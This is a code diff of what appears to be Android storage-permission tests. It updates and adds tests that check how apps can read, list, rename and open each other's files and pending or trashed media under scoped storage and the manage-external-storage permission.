-            assertDirectoryAccess(new File(EXTERNAL_STORAGE_DIR, "Android"), true);
-            assertDirectoryAccess(new File(EXTERNAL_STORAGE_DIR, "doesnt/exist"), false);
+            // We cannot read or write the dir, but app A can.
+            assertThat(canReadAndWriteAs(TEST_APP_A,
+                    otherAppExternalDataDir.getAbsolutePath())).isTrue();
+            assertCannotReadOrWrite(otherAppExternalDataDir);
+
+            // We cannot read or write the sub dir, but app A can.
+            assertThat(canReadAndWriteAs(TEST_APP_A,
+                    otherAppExternalDataSubDir.getAbsolutePath())).isTrue();
+            assertCannotReadOrWrite(otherAppExternalDataSubDir);
+
+            // We can read and write our own app dir, but app A cannot.
+            assertThat(canReadAndWriteAs(TEST_APP_A,
+                    getExternalFilesDir().getAbsolutePath())).isFalse();
+            assertCanAccessMyAppFile(getExternalFilesDir());
+
+            assertDirectoryAccess(getDcimDir(), /* exists */ true, /* canWrite */ true);
+            assertDirectoryAccess(getExternalStorageDir(),true, false);
+            assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true, false);
+            assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false, false);
+
+            executeShellCommand("mkdir " + topLevelDir.getAbsolutePath());
+            assertDirectoryAccess(topLevelDir, true, false);
+
+            assertCannotReadOrWrite(new File("/storage/emulated"));
         } finally {
             uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
+            executeShellCommand("rmdir " + topLevelDir.getAbsolutePath());
         }
     }
 
     @Test
     public void testManageExternalStorageCanRenameOtherAppsContents() throws Exception {
-        final File otherAppPdf = new File(DOWNLOAD_DIR, "other" + NONMEDIA_FILE_NAME);
-        final File pdf = new File(DOWNLOAD_DIR, NONMEDIA_FILE_NAME);
-        final File pdfInObviouslyWrongPlace = new File(PICTURES_DIR, NONMEDIA_FILE_NAME);
-        final File topLevelPdf = new File(EXTERNAL_STORAGE_DIR, NONMEDIA_FILE_NAME);
-        final File musicFile = new File(MUSIC_DIR, AUDIO_FILE_NAME);
+        pollForManageExternalStorageAllowed();
+
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File pdf = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        final File pdfInObviouslyWrongPlace = new File(getPicturesDir(), NONMEDIA_FILE_NAME);
+        final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+        final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
         try {
             installApp(TEST_APP_A);
 
@@ -1812,7 +2174,6 @@
             assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
             assertThat(otherAppPdf.exists()).isTrue();
 
-            allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
 
             // Write some data to the file
             try (final FileOutputStream fos = new FileOutputStream(otherAppPdf)) {
@@ -1839,7 +2200,6 @@
             pdfInObviouslyWrongPlace.delete();
             topLevelPdf.delete();
             musicFile.delete();
-            denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
             uninstallApp(TEST_APP_A);
         }
@@ -1847,43 +2207,46 @@
 
     @Test
     public void testCanCreateDefaultDirectory() throws Exception {
+        final File podcastsDir = getPodcastsDir();
         try {
-            if (PODCASTS_DIR.exists()) {
+            if (podcastsDir.exists()) {
                 // Apps can't delete top level directories, not even default directories, so we let
                 // shell do the deed for us.
-                executeShellCommand("rm -r " + PODCASTS_DIR);
+                executeShellCommand("rm -r " + podcastsDir);
             }
-            assertThat(PODCASTS_DIR.mkdir()).isTrue();
+            assertThat(podcastsDir.mkdir()).isTrue();
         } finally {
-            executeShellCommand("mkdir " + PODCASTS_DIR);
+            executeShellCommand("mkdir " + podcastsDir);
         }
     }
 
     @Test
     public void testManageExternalStorageReaddir() throws Exception {
-        final File otherAppPdf = new File(DOWNLOAD_DIR, "other" + NONMEDIA_FILE_NAME);
-        final File otherAppImg = new File(DCIM_DIR, "other" + IMAGE_FILE_NAME);
-        final File otherAppMusic = new File(MUSIC_DIR, "other" + AUDIO_FILE_NAME);
-        final File otherTopLevelFile = new File(EXTERNAL_STORAGE_DIR, "other" + NONMEDIA_FILE_NAME);
+        pollForManageExternalStorageAllowed();
+
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherTopLevelFile = new File(getExternalStorageDir(),
+                "other" + NONMEDIA_FILE_NAME);
         try {
             installApp(TEST_APP_A);
             assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             executeShellCommand("touch " + otherTopLevelFile);
-
-            allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
+            MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
 
             // We can list other apps' files
             assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
             assertDirectoryContains(otherAppImg.getParentFile(), otherAppImg);
             assertDirectoryContains(otherAppMusic.getParentFile(), otherAppMusic);
             // We can list top level files
-            assertDirectoryContains(EXTERNAL_STORAGE_DIR, otherTopLevelFile);
+            assertDirectoryContains(getExternalStorageDir(), otherTopLevelFile);
 
             // We can also list all top level directories
-            assertDirectoryContains(EXTERNAL_STORAGE_DIR, DEFAULT_TOP_LEVEL_DIRS);
+            assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
             executeShellCommand("rm " + otherTopLevelFile);
+            MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             uninstallApp(TEST_APP_A);
         }
@@ -1891,25 +2254,23 @@
 
     @Test
     public void testManageExternalStorageQueryOtherAppsFile() throws Exception {
-        final File otherAppPdf = new File(DOWNLOAD_DIR, "other" + NONMEDIA_FILE_NAME);
-        final File otherAppImg = new File(DCIM_DIR, "other" + IMAGE_FILE_NAME);
-        final File otherAppMusic = new File(MUSIC_DIR, "other" + AUDIO_FILE_NAME);
-        final File otherHiddenFile = new File(PICTURES_DIR, ".otherHiddenFile.jpg");
+        pollForManageExternalStorageAllowed();
+
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
         try {
             installApp(TEST_APP_A);
-            assertCreateFilesAs(
+            // Apps can't query other app's pending file, hence create file and publish it.
+            assertCreatePublishedFilesAs(
                     TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
 
-            // Once the test has permission to manage external storage, it can query for other
-            // apps' files and open them for read and write
-            allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
-
             assertCanQueryAndOpenFile(otherAppPdf, "rw");
             assertCanQueryAndOpenFile(otherAppImg, "rw");
             assertCanQueryAndOpenFile(otherAppMusic, "rw");
             assertCanQueryAndOpenFile(otherHiddenFile, "rw");
         } finally {
-            denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
             uninstallApp(TEST_APP_A);
         }
@@ -1917,13 +2278,14 @@
 
     @Test
     public void testQueryOtherAppsFiles() throws Exception {
-        final File otherAppPdf = new File(DOWNLOAD_DIR, "other" + NONMEDIA_FILE_NAME);
-        final File otherAppImg = new File(DCIM_DIR, "other" + IMAGE_FILE_NAME);
-        final File otherAppMusic = new File(MUSIC_DIR, "other" + AUDIO_FILE_NAME);
-        final File otherHiddenFile = new File(PICTURES_DIR, ".otherHiddenFile.jpg");
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
         try {
             installApp(TEST_APP_A);
-            assertCreateFilesAs(
+            // Apps can't query other app's pending file, hence create file and publish it.
+            assertCreatePublishedFilesAs(
                     TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
 
             // Since the test doesn't have READ_EXTERNAL_STORAGE nor any other special permissions,
@@ -1940,13 +2302,14 @@
 
     @Test
     public void testSystemGalleryQueryOtherAppsFiles() throws Exception {
-        final File otherAppPdf = new File(DOWNLOAD_DIR, "other" + NONMEDIA_FILE_NAME);
-        final File otherAppImg = new File(DCIM_DIR, "other" + IMAGE_FILE_NAME);
-        final File otherAppMusic = new File(MUSIC_DIR, "other" + AUDIO_FILE_NAME);
-        final File otherHiddenFile = new File(PICTURES_DIR, ".otherHiddenFile.jpg");
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
         try {
             installApp(TEST_APP_A);
-            assertCreateFilesAs(
+            // Apps can't query other app's pending file, hence create file and publish it.
+            assertCreatePublishedFilesAs(
                     TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
 
             // System gallery apps have access to video and image files
@@ -1972,9 +2335,9 @@
      */
     @Test
     public void testSystemGalleryCanRenameImageAndVideoDirs() throws Exception {
-        final File dirInDcim = new File(DCIM_DIR, TEST_DIRECTORY_NAME);
-        final File dirInPictures = new File(PICTURES_DIR, TEST_DIRECTORY_NAME);
-        final File dirInPodcasts = new File(PODCASTS_DIR, TEST_DIRECTORY_NAME);
+        final File dirInDcim = new File(getDcimDir(), TEST_DIRECTORY_NAME);
+        final File dirInPictures = new File(getPicturesDir(), TEST_DIRECTORY_NAME);
+        final File dirInPodcasts = new File(getPodcastsDir(), TEST_DIRECTORY_NAME);
         final File otherAppImageFile1 = new File(dirInDcim, "other_" + IMAGE_FILE_NAME);
         final File otherAppVideoFile1 = new File(dirInDcim, "other_" + VIDEO_FILE_NAME);
         final File otherAppPdfFile1 = new File(dirInDcim, "other_" + NONMEDIA_FILE_NAME);
@@ -1985,6 +2348,7 @@
             assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
 
             executeShellCommand("touch " + otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
 
             installAppWithStoragePermissions(TEST_APP_A);
             allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
@@ -2003,6 +2367,8 @@
         } finally {
             executeShellCommand("rm " + otherAppPdfFile1);
             executeShellCommand("rm " + otherAppPdfFile2);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
             otherAppImageFile1.delete();
             otherAppImageFile2.delete();
             otherAppVideoFile1.delete();
@@ -2021,7 +2387,7 @@
      */
     @Test
     public void testCreateCanRestoreDeletedRowId() throws Exception {
-        final File imageFile = new File(DCIM_DIR, IMAGE_FILE_NAME);
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
         final ContentResolver cr = getContentResolver();
 
         try {
@@ -2057,8 +2423,8 @@
      */
     @Test
     public void testRenameCanRestoreDeletedRowId() throws Exception {
-        final File imageFile = new File(DCIM_DIR, IMAGE_FILE_NAME);
-        final File temporaryFile = new File(DOWNLOAD_DIR, IMAGE_FILE_NAME + "_.tmp");
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File temporaryFile = new File(getDownloadDir(), IMAGE_FILE_NAME + "_.tmp");
         final ContentResolver cr = getContentResolver();
 
         try {
@@ -2083,8 +2449,8 @@
 
     @Test
     public void testCantCreateOrRenameFileWithInvalidName() throws Exception {
-        File invalidFile = new File(DOWNLOAD_DIR, "<>");
-        File validFile = new File(DOWNLOAD_DIR, NONMEDIA_FILE_NAME);
+        File invalidFile = new File(getDownloadDir(), "<>");
+        File validFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
         try {
             assertThrows(IOException.class, "Operation not permitted",
                     () -> { invalidFile.createNewFile(); });
@@ -2098,6 +2464,430 @@
         }
     }
 
+    @Test
+    public void testAndroidMedia() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+
+        try {
+            installApp(TEST_APP_A);
+
+            final File myMediaDir = getExternalMediaDir();
+            final File otherAppMediaDir = new File(myMediaDir.getAbsolutePath().
+                    replace(THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
+
+            // Verify that accessing other app's /sdcard/Android/media behaves exactly like DCIM for
+            // image files and exactly like Downloads for documents.
+            assertSharedStorageAccess(otherAppMediaDir, otherAppMediaDir, TEST_APP_A);
+            assertSharedStorageAccess(getDcimDir(), getDownloadDir(), TEST_APP_A);
+
+        } finally {
+            uninstallApp(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testWallpaperApisNoPermission() throws Exception {
+        WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+        assertThrows(SecurityException.class, () -> wallpaperManager.getFastDrawable());
+        assertThrows(SecurityException.class, () -> wallpaperManager.peekFastDrawable());
+        assertThrows(SecurityException.class,
+                () -> wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM));
+    }
+
+    @Test
+    public void testWallpaperApisReadExternalStorage() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+        wallpaperManager.getFastDrawable();
+        wallpaperManager.peekFastDrawable();
+        wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM);
+    }
+
+    @Test
+    public void testWallpaperApisManageExternalStorageAppOp() throws Exception {
+        pollForManageExternalStorageAllowed();
+
+        WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+        wallpaperManager.getFastDrawable();
+        wallpaperManager.peekFastDrawable();
+        wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM);
+    }
+
+    @Test
+    public void testWallpaperApisManageExternalStoragePrivileged() throws Exception {
+        adoptShellPermissionIdentity(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+        try {
+            WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+            wallpaperManager.getFastDrawable();
+            wallpaperManager.peekFastDrawable();
+            wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM);
+        } finally {
+            dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Verifies that files created by {@code otherApp} in shared locations {@code imageDir}
+     * and {@code documentDir} follow the scoped storage rules. Requires the running app to hold
+     * {@code READ_EXTERNAL_STORAGE}.
+     */
+    private void assertSharedStorageAccess(File imageDir, File documentDir, TestApp otherApp)
+            throws Exception {
+        final File otherAppImage = new File(imageDir, "abc.jpg");
+        final File otherAppBinary = new File(documentDir, "abc.bin");
+        try {
+            assertCreateFilesAs(otherApp, otherAppImage, otherAppBinary);
+
+            // We can read the other app's image
+            assertFileAccess_readOnly(otherAppImage);
+            assertFileContent(otherAppImage, new String().getBytes());
+
+            // .. but not the binary file
+            assertFileAccess_existsOnly(otherAppBinary);
+            assertThrows(FileNotFoundException.class, () -> {
+                assertFileContent(otherAppBinary, new String().getBytes()); });
+        } finally {
+            deleteFileAsNoThrow(otherApp, otherAppImage.getAbsolutePath());
+            deleteFileAsNoThrow(otherApp, otherAppBinary.getAbsolutePath());
+        }
+    }
+
+    /**
+     * Test that IS_PENDING is set for files created via filepath
+     */
+    @Test
+    public void testPendingFromFuse() throws Exception {
+        final File pendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File otherPendingFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+        try {
+            assertTrue(pendingFile.createNewFile());
+            // Newly created file should have IS_PENDING set
+            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
+                assertTrue(c.moveToFirst());
+                assertThat(c.getInt(0)).isEqualTo(1);
+            }
+
+            // If we query with MATCH_EXCLUDE, we should still see this pendingFile
+            try (Cursor c = queryFileExcludingPending(pendingFile, MediaColumns.IS_PENDING)) {
+                assertThat(c.getCount()).isEqualTo(1);
+                assertTrue(c.moveToFirst());
+                assertThat(c.getInt(0)).isEqualTo(1);
+            }
+
+            assertNotNull(MediaStore.scanFile(getContentResolver(), pendingFile));
+
+            // IS_PENDING should be unset after the scan
+            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
+                assertTrue(c.moveToFirst());
+                assertThat(c.getInt(0)).isEqualTo(0);
+            }
+
+            installAppWithStoragePermissions(TEST_APP_A);
+            assertCreateFilesAs(TEST_APP_A, otherPendingFile);
+            // We can't query other apps pending file from FUSE with MATCH_EXCLUDE
+            try (Cursor c = queryFileExcludingPending(otherPendingFile, MediaColumns.IS_PENDING)) {
+                assertThat(c.getCount()).isEqualTo(0);
+            }
+        } finally {
+            pendingFile.delete();
+            deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
+            uninstallAppNoThrow(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testOpenOtherPendingFilesFromFuse() throws Exception {
+        final File otherPendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        try {
+            installApp(TEST_APP_A);
+            assertCreateFilesAs(TEST_APP_A, otherPendingFile);
+
+            // We can read other app's pending file from FUSE via filePath
+            assertCanQueryAndOpenFile(otherPendingFile, "r");
+
+            // We can also read other app's pending file via MediaStore API
+            assertNotNull(openWithMediaProvider(otherPendingFile, "r"));
+        } finally {
+            deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
+            uninstallAppNoThrow(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testNoIsolatedStorageCanCreateFilesAnywhere() throws Exception {
+        final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+        final File musicFileInMovies = new File(getMoviesDir(), AUDIO_FILE_NAME);
+        final File imageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
+        // Nothing special about this, anyone can create an image file in DCIM
+        assertCanCreateFile(imageFileInDcim);
+        // This is where we see the special powers of MANAGE_EXTERNAL_STORAGE, because it can
+        // create a top level file
+        assertCanCreateFile(topLevelPdf);
+        // It can even create a music file in Pictures
+        assertCanCreateFile(musicFileInMovies);
+    }
+
+    @Test
+    public void testNoIsolatedStorageCantReadWriteOtherAppExternalDir() throws Exception {
+        try {
+            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
+            installAppWithStoragePermissions(TEST_APP_A);
+
+            // Let app A create a file in its data dir
+            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
+            final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+                    NONMEDIA_FILE_NAME);
+            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+
+            // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+            // file manager app doesn't have access to other app's external files directory
+            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+            assertThat(otherAppExternalDataFile.delete()).isFalse();
+
+            assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
+
+            assertThrows(IOException.class,
+                    () -> { otherAppExternalDataFile.createNewFile(); });
+
+        } finally {
+            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
+        }
+    }
+
+    @Test
+    public void testNoIsolatedStorageStorageReaddir() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherTopLevelFile = new File(getExternalStorageDir(),
+                "other" + NONMEDIA_FILE_NAME);
+        try {
+            installApp(TEST_APP_A);
+            assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
+            executeShellCommand("touch " + otherTopLevelFile);
+
+            // We can list other apps' files
+            assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
+            assertDirectoryContains(otherAppImg.getParentFile(), otherAppImg);
+            assertDirectoryContains(otherAppMusic.getParentFile(), otherAppMusic);
+            // We can list top level files
+            assertDirectoryContains(getExternalStorageDir(), otherTopLevelFile);
+
+            // We can also list all top level directories
+            assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
+        } finally {
+            executeShellCommand("rm " + otherTopLevelFile);
+            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
+            uninstallApp(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testNoIsolatedStorageQueryOtherAppsFile() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+        try {
+            installApp(TEST_APP_A);
+            // Apps can't query other app's pending file, hence create file and publish it.
+            assertCreatePublishedFilesAs(
+                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+            assertCanQueryAndOpenFile(otherAppPdf, "rw");
+            assertCanQueryAndOpenFile(otherAppImg, "rw");
+            assertCanQueryAndOpenFile(otherAppMusic, "rw");
+            assertCanQueryAndOpenFile(otherHiddenFile, "rw");
+        } finally {
+            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+            uninstallApp(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testRenameFromShell() throws Exception {
+        final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File dir = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
+        final File renamedDir = new File(getMusicDir(), TEST_DIRECTORY_NAME);
+        final File renamedImageFile = new File(dir, IMAGE_FILE_NAME);
+        final File imageFileInRenamedDir = new File(renamedDir, IMAGE_FILE_NAME);
+        try {
+            assertTrue(imageFile.createNewFile());
+            assertThat(getFileRowIdFromDatabase(imageFile)).isNotEqualTo(-1);
+            if (!dir.exists()) {
+                assertThat(dir.mkdir()).isTrue();
+            }
+
+            final String renameFileCommand = String.format("mv %s %s",
+                    imageFile.getAbsolutePath(), renamedImageFile.getAbsolutePath());
+            executeShellCommand(renameFileCommand);
+            assertFalse(imageFile.exists());
+            assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
+            assertTrue(renamedImageFile.exists());
+            assertThat(getFileRowIdFromDatabase(renamedImageFile)).isNotEqualTo(-1);
+
+            final String renameDirectoryCommand = String.format("mv %s %s",
+                    dir.getAbsolutePath(), renamedDir.getAbsolutePath());
+            executeShellCommand(renameDirectoryCommand);
+            assertFalse(dir.exists());
+            assertFalse(renamedImageFile.exists());
+            assertThat(getFileRowIdFromDatabase(renamedImageFile)).isEqualTo(-1);
+            assertTrue(renamedDir.exists());
+            assertTrue(imageFileInRenamedDir.exists());
+            assertThat(getFileRowIdFromDatabase(imageFileInRenamedDir)).isNotEqualTo(-1);
+        } finally {
+            imageFile.delete();
+            renamedImageFile.delete();
+            imageFileInRenamedDir.delete();
+            dir.delete();
+            renamedDir.delete();
+        }
+    }
+
+    /**
+     * Checks restrictions for opening pending and trashed files by different apps. Assumes that
+     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
+     * method doesn't uninstall given {@code testApp} at the end.
+     */
+    private void assertOpenPendingOrTrashed(Uri uri, TestApp testApp, boolean isImageOrVideo)
+            throws Exception {
+        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+
+        // App can open its pending or trashed file for read or write
+        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ false));
+        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ true));
+
+        // App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
+        // write
+        assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
+        assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+
+        final int testAppUid =
+                getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
+        try {
+            allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+            // File Manager can open any pending or trashed file for read or write
+            assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
+            assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+        } finally {
+            denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+        }
+
+        try {
+            allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+            if (isImageOrVideo) {
+                // System Gallery can open any pending or trashed image/video file for read or write
+                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
+                assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+            } else {
+                // System Gallery can't open other app's pending or trashed non-media file for read
+                // or write
+                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
+                assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+            }
+        } finally {
+            denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
+     * Checks restrictions for listing pending and trashed files by different apps. Assumes that
+     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
+     * method doesn't uninstall given {@code testApp} at the end.
+     */
+    private void assertListPendingOrTrashed(Uri uri, File file, TestApp testApp,
+            boolean isImageOrVideo) throws Exception {
+        final String parentDirPath = file.getParent();
+        assertTrue(new File(parentDirPath).isDirectory());
+
+        final List<String> listedFileNames = Arrays.asList(new File(parentDirPath).list());
+        assertThat(listedFileNames).doesNotContain(file);
+
+        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+
+        assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
+
+        // App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
+        assertThat(listAs(testApp, parentDirPath)).doesNotContain(pendingOrTrashedFile.getName());
+
+        final int testAppUid =
+                getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
+        try {
+            allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+            // File Manager can see any pending or trashed file.
+            assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
+        } finally {
+            denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+        }
+
+        try {
+            allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+            if (isImageOrVideo) {
+                // System Gallery can see any pending or trashed image/video file.
+                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
+            } else {
+                // System Gallery can't see other app's pending or trashed non media file.
+                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertThat(listAs(testApp, parentDirPath))
+                        .doesNotContain(pendingOrTrashedFile.getName());
+            }
+        } finally {
+            denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    private Uri createPendingFile(File pendingFile) throws Exception {
+        assertTrue(pendingFile.createNewFile());
+
+        final ContentResolver cr = getContentResolver();
+        final Uri trashedFileUri = MediaStore.scanFile(cr, pendingFile);
+        assertNotNull(trashedFileUri);
+
+        final ContentValues values = new ContentValues();
+        values.put(MediaColumns.IS_PENDING, 1);
+        assertEquals(1, cr.update(trashedFileUri, values, Bundle.EMPTY));
+
+        return trashedFileUri;
+    }
+
+    private Uri createTrashedFile(File trashedFile) throws Exception {
+        assertTrue(trashedFile.createNewFile());
+
+        final ContentResolver cr = getContentResolver();
+        final Uri trashedFileUri = MediaStore.scanFile(cr, trashedFile);
+        assertNotNull(trashedFileUri);
+
+        trashFile(trashedFileUri);
+        return trashedFileUri;
+    }
+
+    private void trashFile(Uri uri) throws Exception {
+        final ContentValues values = new ContentValues();
+        values.put(MediaColumns.IS_TRASHED, 1);
+        assertEquals(1, getContentResolver().update(uri, values, Bundle.EMPTY));
+    }
+
+    /**
+     * Gets file path corresponding to the db row pointed by {@code uri}. If {@code uri} points to
+     * multiple db rows, file path is extracted from the first db row of the database query result.
+     */
+    private String getFilePathFromUri(Uri uri) {
+        final String[] projection = new String[] {MediaColumns.DATA};
+        try (Cursor c = getContentResolver().query(uri, projection, null, null)) {
+            assertTrue(c.moveToFirst());
+            return c.getString(0);
+        }
+    }
+
+    private boolean isMediaTypeImageOrVideo(File file) {
